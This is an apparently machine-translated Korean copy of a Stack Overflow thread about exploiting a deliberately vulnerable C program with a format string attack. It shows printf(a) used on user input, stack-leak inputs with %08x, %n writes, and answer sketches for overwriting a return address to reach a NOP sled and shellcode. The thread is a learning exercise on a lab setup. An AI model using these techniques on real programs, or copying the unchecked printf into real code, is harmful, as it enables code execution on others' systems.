2014-01-16 7 views
6

예, 이미 비슷한 질문이 있습니다 (5037601, 19166698, 4855162, 14505995, 5052648, 13409508, 7745146, 7459630, 죄송합니다. 이런 종류의 것을 설명하는 멋진 기사가 있습니다 (click, click, http : //codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html). 나는 그것들을 읽었고 나는 일반적인 생각을 가지고 있다고 생각하지만, 나는 생각할 수있는 가장 쉬운 훈련 장난감의 예를 성공적으로 착취하는데 여전히 실패한다.반송 주소 덮어 쓰기 단순 형식 문자열 익스플로잇

#include <stdio.h> 

void f(char* a) 
{ 
    printf("a: %p\n", &a); 
    printf(a); 
    return; 
} 

void main(int argc, char** argv) 
{ 
    f(argv[1]); //please ignore the lack of any check 
    return; 
} 

예, 스택이 실행 가능하고 네, 메모리 레이아웃 임의 화가 비활성화됩니다. 각 실행은 나에게 a의 동일한 주소를 제공합니다. 나는 예를 $ ruby -e 'print "AAAA"+("%08x."*16)' 위해 먹이를 할 수 있으며, 그 결과 내 입력이 메모리에서 끝나는 그래서 지금 내가 볼 수

a: 0xbfffece0 
AAAAbfffece0.bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.bfffecf0.00000fff.b7fd8420.00000000.41414141.78383025.3830252e.30252e78.252e7838. 

. 나의 궁극적 인 목표는 아마도 <something> 프로그램이로 이동합니다 그래서 f의 반환 주소를 덮어 <something><NOPs><shellcode>처럼 뭔가 것, 분명히

a: 0xbfffece0 
12345bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.00000005.00000fff.b7fd8420.00000000.34333231.256e2535.2e783830.78383025.3830252e.30252e78. 

:이 결과 $ ruby -e 'print "12345%n"+("%08x."*16)'와 스택에 값을 쓸 수 있습니다 NOP가 슬 레드하고 쉘 코드를 실행합니다. 그러나 저장된 반송 주소의 주소는 지금 내 입력에 달려있는 것 같습니다. 맞습니까? 0xbfffece0 - len(input) - 12과 비슷한, 12 바이트 프롤로그를 가정하면? 아마도이 예제는 결국 가장 쉽지 않을 것입니다 ...

나는 혼란 스러워요. 어떤 아이디어?

+0

사실, printf에 대한 인수가 스택에 푸시되므로 반환 주소의 주소가 입력에 따라 변경됩니다.형식 문자열은 그 자체만큼 많은 바이트를 "소비"해야하며 리턴 주소까지 다른 모든 바이트를 "소비"해야합니다. –

+0

예를 들어 50 바이트 쉘 코드와 NOP가 없다고 가정하고 구체적인 예를 들어 주시겠습니까? –

+0

http://stackoverflow.com/questions/7459630/how-can-a-format-string-vulnerability-be-exploited –

답변

0

'% 08x'형식의 긴 문자열을 사용하여 입력에서 올바른 '% n'값을 찾아 반환 주소를 덮어 쓰는 것이 좋습니다.

12345%n%08x%08x%08x%08x........%08x%08x 

다음 당신은 같은 입력의 길이를 유지 NOP 썰매 + 쉘 코드와 함께 '%의 08X'문자열의 일부를 대체하는 입력 내용을 수정할 수 있습니다.

12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE 

(정확한 값을 쓸 필요 % 이상의 n 개의 형식 지정자 수정)이 입력의 크기에 따라서 저장된 리턴 어드레스의 위치를 ​​확인한다 동일하다.

0

또 다른 아이디어는 "dolor sign"%<distance>$n을 사용하는 것입니다. 리눅스의 printf와 맨 페이지에서 인용

:

하나는 는 "%의 m의 $"를 작성하여 인수가 필요한 각 장소에서 촬영되는 인수를 명시 적으로 지정할 수 있습니다. 진수 정수 m은 에서 원하는 인수 인수 목록을 위치를 나타내고, 1 Source

부터, 색인 예 :%5$n 스택의 꼭대기로부터 5 어드레스에 기록한다.